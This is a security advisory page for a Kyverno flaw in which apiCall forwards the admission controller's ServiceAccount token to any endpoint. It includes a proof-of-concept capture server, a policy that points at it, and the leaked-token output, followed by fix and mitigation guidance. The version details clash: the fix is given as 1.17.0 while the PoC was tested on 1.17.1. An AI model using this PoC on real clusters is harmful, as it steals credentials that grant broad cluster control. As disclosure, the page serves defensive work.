Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)GHSA-8wfp-579w-6r25
HIGHGHSA-8wfp-579w-6r25 is a high-severity (CVSS 7.7) Information Exposure vulnerability in github.com/kyverno/kyverno. A fix is available for github.com/kyverno/kyverno — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-8wfp-579w-6r25.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/kyverno/kyvernoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.
The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.
Details
Kyverno's apiCall executor (pkg/engine/apicall/executor.go) reads the ServiceAccount token from:
/var/run/secrets/kubernetes.io/serviceaccount/token
and injects it into every HTTP request as:
Authorization: Bearer <token>
This occurs when no explicit Authorization header is defined in the policy.
Root cause
if req.Header.Get("Authorization") == "" {
token := a.getToken()
if token != "" {
req.Header.Add("Authorization", "Bearer "+token)
}
}
This logic introduces several issues:
- Implicit credential forwarding to arbitrary endpoints
- No trust boundary validation (external/internal distinction)
- Undocumented behavior
- Header.Add instead of Set allows duplication
- No token sanitization (potential trailing newline)
PoC
Preconditions
- Kyverno installed (v1.17.1 tested)
- A policy using
apiCall.service.url
Step 1 — Deploy capture server
kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print(self.headers.get('Authorization'), flush=True)
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888
Step 2 — Create policy
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: token-leak
spec:
rules:
- name: test
match:
any:
- resources:
kinds: ["Pod"]
context:
- name: r
apiCall:
method: GET
service:
url: "http://capture.default.svc:8888"
jmesPath: "@"
Step 3 — Trigger
kubectl run test --image=nginx
Step 4 — Observe token
kubectl logs capture
Output:
Authorization: Bearer <SA_TOKEN>
Impact
Vulnerability class
- Credential exposure / leakage
Impact details
- Exposure of Kubernetes ServiceAccount token
- Token grants:
- Full control over Kyverno policies
- Ability to create/delete webhooks
- Read cluster-wide resources
- Privilege escalation and persistence
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/kyverno/kyverno | all versions | 1.17.0go get github.com/kyverno/kyverno@v1.17.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kyverno/kyverno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/kyverno/kyverno to 1.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8wfp-579w-6r25 is resolved across your whole dependency graph.
Workarounds
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This is an Important vulnerability in Kyverno, affecting Red Hat Konflux, where a low-privileged attacker can exfiltrate the admission controller's ServiceAccount token. This occurs because Kyverno automatically attaches the token to outbound HTTP requests in `apiCall` service mode, allowing unauthorized access to…
Restrict network egress for the Kyverno admission controller to prevent `apiCall` requests from reaching untrusted external endpoints. This can be achieved by configuring network policies to allow communication only with known, trusted internal services. If `apiCall` must interact with external services, ensure that Kyverno policies explicitly define authorization headers to prevent the automatic attachment of the ServiceAccount token. Review and adjust existing Kyverno policies and network configurations as necessary. This mitigation may impact functionality if Kyverno policies legitimately require `apiCall` access to external services.Source: Red Hat security advisory for GHSA-8wfp-579w-6r25 (CC BY 4.0)
Frequently Asked Questions
Is GHSA-8wfp-579w-6r25 in your dependencies?
Find it across Go, including transitive dependencies.